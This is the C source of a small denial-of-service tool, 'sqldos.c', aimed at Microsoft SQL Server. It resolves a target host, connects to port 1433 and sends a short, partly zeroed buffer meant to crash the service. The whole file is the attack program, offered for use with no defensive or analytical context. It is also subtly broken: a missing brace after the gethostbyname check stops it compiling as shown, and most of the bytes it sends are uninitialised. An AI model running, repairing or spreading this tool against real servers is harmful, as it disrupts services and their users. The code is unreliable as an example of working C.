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- /*
- ** sqldos.c -- a DoS attack agains MS SQL Server
- */
-
- #include <stdio.h>
- #include <stdlib.h>
- #include <errno.h>
- #include <string.h>
- #include <netdb.h>
- #include <sys/types.h>
- #include <netinet/in.h>
- #include <sys/socket.h>
-
- #define PORT 1433 /* the port SQL Server listens on */
-
-
- int main(int argc, char *argv[])
- {
- int sockfd, numbytes;
- struct hostent *he;
- char buff[65535];
- struct sockaddr_in target_addr;
-
- if (argc != 2) {
- fprintf(stderr,"Usage: sqldos target\n");
- exit(1);
- }
-
- if ((he=gethostbyname(argv[1])) == NULL)
-
- perror("gethostbyname");
- exit(1);
- }
-
- if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
- perror("socket error");
- exit(1);
- }
-
- target_addr.sin_family = AF_INET;
- target_addr.sin_port = htons(PORT);
- target_addr.sin_addr = *((struct in_addr *)he->h_addr);
- bzero(&(target_addr.sin_zero), 8);
-
- if (connect(sockfd, (struct sockaddr *)&target_addr, sizeof(struct
- sockaddr)) == -1) {
- perror("connect error");
- exit(1);
- }
- memset(&buff, 0, 3);
-
- if ((numbytes=send(sockfd, buff, 14, 0)) == -1) {
- perror("send errot");
- exit(1);
- }
- close(sockfd);
-
- return 0;
- }
-
-